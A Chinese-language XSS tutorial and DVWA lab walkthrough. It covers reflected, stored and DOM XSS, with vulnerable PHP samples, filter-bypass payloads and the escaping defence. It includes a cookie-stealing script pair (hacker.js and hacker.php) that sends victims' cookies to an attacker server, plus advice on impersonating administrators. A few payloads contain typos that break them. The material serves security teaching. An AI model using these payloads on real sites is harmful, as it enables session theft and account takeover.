一、DVWA-XSS
XSS 简单介绍
XSS攻击也叫跨站脚本攻击(Cross Site Scripting)原本应当是CSS,但为了和层叠样式表(Cascading Style Sheet,CSS )有所区分,通常将其缩写成XSS,它是一种经常出现在Web应用中的网络安全漏洞。
XSS某种意义上也是一种注入攻击,黑客通过前端网页向受害者浏览的网页中注入 js 脚本,从而实现攻击目的。
与其它Web漏洞不同,XSS并非直接攻击服务器,而是攻击的受害者的浏览器。
需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。
其在网络中存在的数量,远远大于SQL注入等传统高危漏洞。
首先我们现在本地搭建个PHP环境(可以使用phpstudy或WAMP等),然后在index.php文件里写入如下代码:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS攻击原理</title>
</head>
<body>
<form action="" method="get">
<input type="text" name="XSS_input">
<input type="submit">
</form>
<hr>
<?php
$XSS = $_GET['XSS_input'];
echo '你输入的字符为<br>'.$XSS;
?>
</body>
</html>
我们试着输入abcd123,得到的结果为
我们输入的字符串被原封不动的输出来了,假设我们在搜索框输入<script>alert('XSS')</script>
会出现什么呢?如果按照上面的例子来说,它应该存在第12行的<br>
与</boby>
之间,变成<br><script>alert('XSS')</script></boby>
,那应该会弹出对话框。
此时的源码展示
xss攻击示例
XSS攻击危害
- 盗取用户Cookie而得到用户在该站点的身份权限
- 伪造欺诈页面实现钓鱼攻击
- 浏览器挂马,网页蠕虫
- 键盘记录,局域网端口扫描,DDoS, 用户隐私收集
- …
XSS 的构造和利用输出的环境来构造代码
上节说了XSS的原理,但是我们的输出点不一在<br>
和</boby>
里,可以出现在html标签的属性里,或者其他标签里面。所以这节很重要,因为不一定当你输入<script>alert('XSS')</script>
就会弹窗。
先贴出代码:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS利用输出的环境来构造代码</title>
</head>
<body>
<center>
<h6>把我们输入的字符串 输出到input里的value属性里</h6>
<form action="" method="get">
<h6>请输入你想显现的字符串</h6>
<input type="text" name="XSS_input_value" value="输入"><br>
<input type="submit">
</form>
<hr>
<?php
$XSS = $_GET['XSS_input_value'];
if(isset($XSS)){
echo '<input type="text" value="'.$XSS.'">';
}else{
echo '<input type="type" value="输出">';
}
?>
</center>
</body>
</html>
下面是代码的页面
这段代码的作用是把第一个输入框的字符串,输出到第二个输入框,我们输入1,那么第二个input里的value值就是1,下面是页面的截图和源代码的截图(这里我输入<script>alert('XSS')</script>
来测试),点击提交按钮。
明显的可以看到,并没有弹出对话框,大家可能会疑惑为什么没有弹窗呢,我们来看看源代码:
我们看到我们输入的字符串被输出到第15行input标签里的value属性里面,被当成value里的值来显现出来,所以并没有弹窗,这时候我们该怎么办呢?聪明的人已经发现了可以在<script>alert('XSS')</script>
前面加个">
来闭合input标签。所以应该得到的结果为:
成功弹窗了,我们在看看这时的页面
看到后面有第二个input输入框后面跟有">
字符串,为什么会这样呢,我们来看看源代码
这时可以看到我们构造的代码里面有两个">
,第一个">
是为了闭合input标签,所以第二个">就被抛弃了,因为html的容错性高,所以并没有像php那样出现错误,而是直接把多余的字符串来输出了,有的人是个完美主义者,不喜欢有多余的字符串被输出,这时该怎么办呢?
这里我问大家一个问题,我之前说的XSS代码里,为什么全是带有标签的。难道就不能不带标签么?答:当然可以。既然可以不用标签,那我们就用标签里的属性来构造XSS,这样的话,XSS代码又少,又不会有多余的字符串被输出来。
还是这个环境,但是不能使用标签,你应该怎么做。想想input里有什么属性可以调用js,html学的好的人,应该知道了,on事件,对的。我们可以用on事件来进行弹窗,比如这个XSS代码 我们可以写成" onclick="alert('XSS')
没有看到弹窗啊,失败了么?答案当然是错误的,因为onclick是鼠标点击事件,也就是说当你的鼠标点击第二个input输入框的时候,就会触发onclick事件,然后执行alert('XSS')
代码。我们来试试看
第15行,value值为空,当鼠标点击时,就会弹出对话框。这里可能就会有人问了,如果要点击才会触发,那不是很麻烦么,成功率不就又下降了么。我来帮你解答这个问题,on事件不止onclick这一个,还有很多,如果你想不需要用户完成什么动作就可以触发的话,可以把onclick改成
Onmousemove 当鼠标移动就触发
Onload 当页面加载完成后触发
过滤的解决办法
假如说网站禁止过滤了script 这时该怎么办呢,记住一句话,“XSS就是在页面执行你想要的js”不用管那么多,只要能运行我们的js就OK,比如用img标签或者a标签。我们可以这样写
<img scr=1 onerror=alert('XSS')>当找不到图片名为1的文件时,执行alert('XSS')
<a href=javascrip:alert('XSS')>s</a> 点击s时运行alert('XSS')
<iframe src=javascript:alert('XSS');height=0 width=0 /><iframe>利用iframe的scr来弹窗
<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>过滤了alert来执行弹窗
XSS的分类
XSS漏洞按照攻击利用手法的不同,有以下三种类型:
类型A DOM型漏洞
直接威胁用户个体,而类型B和类型C所威胁的对象都是企业级Web应用。
类型A,本地利用漏洞,这种漏洞存在于页面中客户端脚本自身。
原理图如下:
A给B发了一个恶意的web的URL,B点击并查看该URL,恶意页面中的JavaScript打开一个具有漏洞的HTML页面并安装在B的设备上。A的恶意脚本可以执行B所有操作权限的命令。
类型B,反射式漏洞
攻击流程:
Alice 经常浏览 B 的网站, B 站点存有 Alice 使用用户名/密码进行登录,并存储敏感信息(比如银行帐户信息等)。 C 发现 B 站点包含反射性的 XSS 漏洞。于是利用漏洞的 URL,并将其冒充为 B 发送邮件给 A。
A 登录到 B 站点后,浏览提供的 URL。URL 中的恶意脚本在 A 的浏览器中执行,盗窃敏感信息(授权、信用卡、帐号信息等),A 的信息就会发送到 C 的 Web 网站中。
类型C,存储式漏洞
该漏洞是最为广泛而且有可能影响到Web服务器自身安全的漏洞。
黑客将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄漏的可能,其中也包括了Web服务器的管理员。
攻击流程:
B有一个Web站点,该站点允许用户发布信息/浏览已发布的信息
C注意到B站点具有类型C的XSS漏洞。
C发布一个热点信息,吸引其它用户纷纷阅读。
B或者是任何的其他人浏览该信息,其会话cookies或者其它信息将被C盗走。
XSS的利用
说了那么多,大家可能都以为XSS就是弹窗?
其实错了,弹窗只是测试XSS的存在性和使用性。
我们知道了XSS的存在,这时我们要插入js代码了,怎么插呢?
你可以这样
<script scr="js_url"></script>
也可以这样
<img src=x onerror=appendChild(createElement('script')).src='js_url' />
只要能运行我们的js就OK。那运行我们的js有什么用呢?
Js可以干很多的事,可以获取cookies(对http-only没用)、控制用户的动作(发帖、私信什么的)等等。
比如我们在网站的留言区输入<script scr="js_url"></script>
当管理员进后台浏览留言的时候,就会触发
然后管理员的cookies和后台地址还有管理员浏览器版本等等你都可以获取到了,再用一些cookie欺骗工具,如“桂林老兵cookie欺骗工具”来更改你的cookies
就可以不用输入账号、密码、验证码,就可以以管理员的方式来进行登录了。
以上就是XSS入门,后面“XSS盲打”、“XSS编码绕过”、“fuzzing XSS”等等还需要自己摸索。
二、DVWA-XSS实战
反射型XSS:
只是简单地把用户输入的数据反射给浏览器,简单来说,黑客往往需要去诱使用户点击一个恶意链接,才能攻击成功。
存储型XSS:
将用户输入的数据存储在服务器端,每次用户访问都会被执行js脚本。
DOM型XSS:
文本对象模式xss,通过修改页面的DOM节点形成的XSS,可存储型,可反射型,只取决于输出地点。
反射型XSS
low
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
查看源代码,可以看到没有对参数做任何防御处理措施,直接输出
尝试一般的XSS攻击
<script>alert(‘xss’)</script> # 直接弹出窗口
<body onload=alert('xss2')> # 插入html代码,加载完成时执行
<a href='' onclick=alert('xss3')>click1</a> # 点击click1时弹出xss3
<img src=http://192.168.10.128/a.jpg onerror=alert('xss4')> #src地址错误,然后执行onerror的内容
尝试重定向攻击
<script>window.location='http://www.163.com'</script> # 自动重定向到目标网址
<iframe src='http://192.168.10.141/a.jpg' height='0' width='0'><iframe>
获取cookie
<script>alert(document.cookie)</script>
加载远段服务器的js脚本
攻击者在自己的服务器中构建脚本,搭建站点,把js脚本放入到站点中,开启web服务
hacker.js
var img = new Image();
img.src="http://localhost/xss/hacker.php?x=" + document.cookie;
document.body.append(img);
hacker.php
<?php
$cookie = $_GET['x'];
file_put_contents('cookie.txt', $cookie);
?>
于是插入dvwa的xss payload为:
<script src="http://localhost/xss/hacker.js" /></script>
medium
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
分析源码,可以看到使用str_replace函数只对参数进行了简单的替换,过滤<script>
别的没有过滤,此时可以用大小写或者别的标签来绕过
大小写绕过
<Script>alert('xxx')</script>
组合过滤条件绕过
<scr<script>ipt>alert('sss')</script>
尝试使用别的标签来绕过
<body onload=alert('s')>
<a href='' onclick=alert('ss')>click</a>
<a href='' onclick=alert(/ss/)>click</a>
#<script>alert('xx')</script>
high
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
分析源码,可以看到,使用了preg_replace正则表达式函数,对参数进行过滤,查看源码可以看到对<script>
标签进行了严格的过滤
但没有过滤别的标签,此时可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码
尝试使用别的标签来绕过
<body onload=alert('s')>
<img src="" onerror=alert('xss')>
<a href='' onclick=alert('ss')>click</a>
<a href='' onclick=alert(/ss/)>click</a>
Impossible
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
分析源码,可以看到使用 htmlspecialchars 函数对参数进行html实体转义
PHP htmlspecialchars()函数
把预定义的字符转换为HTML实体:
- & (和号)成为
&
- " (双引号)成为
"
- ’ (单引号)成为
'
// 生效需要加 ENT_QUOTES 参数 - < (小于)成为
<
-
(大于)成为
>
Impossible Security Level的代码使用htmlspecialchars函数把预定义的字符:
& " ’ < >
转换为HTML实体,防止浏览器将其作为HTML元素。从而防治了反射型XSS利用和危害。
存储型XSS
Stored Cross Site Scripting
存储型XSS,持久化XSS,代码是存储在服务器中的
如在个人信息或发表文章等地方,加入XSS代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。
这种XSS比较危险,容易造成蠕虫,盗窃cookie等。
存储型XSS攻击原理图:
low
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
分析源码,可以看到首先对两个参数使用 trim
函数移除字符串两侧的空白字符或其他预定义字符
$message
使用 mysql_real_escape_string
函数转义SQL语句中的特殊字符
使用 stripslashes
函数过滤掉 ”\”
,对 $name
参数中使用 mysql_real_escape_string
函数转义SQL语句中的特殊字符
从上面的代码可以看到,没有防御XSS漏洞,只防御了SQL注入漏洞
medium
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
strip_tags()函数剥去字符串中的HTML、XML以及PHP的标签,但允许使用<b>
标签。
addslashes()函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。
可以看到,由于对message参数使用了htmlspecialchars函数进行编码,因此无法再通过message参数注入XSS代码
但是对于name参数,只是简单过滤了<script>
字符串,仍然存在存储型的XSS。
1.双写绕过
Burpsuite抓包改name参数为:
<sc<script>ript>alert(/xss/)</script>
2.大小写混淆绕过
Burpsuite抓包改name参数为
<ScRipt>alert(/xss/);</ScRipt>:
3.使用非 script 标签的 xss payload:
例如:img标签:
Burpsuite抓包改name参数为
<img src=1 onerror=alert(/xss/)>
high
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
这里使用正则表达式过滤了
impossible
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到,通过使用 htmlspecialchars 函数将几种特殊字符转义为HTML实体mysqli_real_escape_string 函数对单引号’转义,防止进行SQL注入,彻底防治了存储型 XSS 的利用和危害。
DOM 型 XSS
DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。
DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。
在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。
可能触发DOM型XSS的属性:
document.referer 属性
window.name 属性
location 属性
innerHTML 属性
documen.write 属性
low
http://www.dvwa.com/vulnerabilities/xss_d/?default=English<script>alert(/xss/);</script>
medium
http://www.dvwa.com/vulnerabilities/xss_d/?default=English>/option></select><img src=1 onerror=alert(/xss/)>
high
http://www.dvwa.com/vulnerabilities/xss_d/?default=English #<script>alert(/xss/)</script>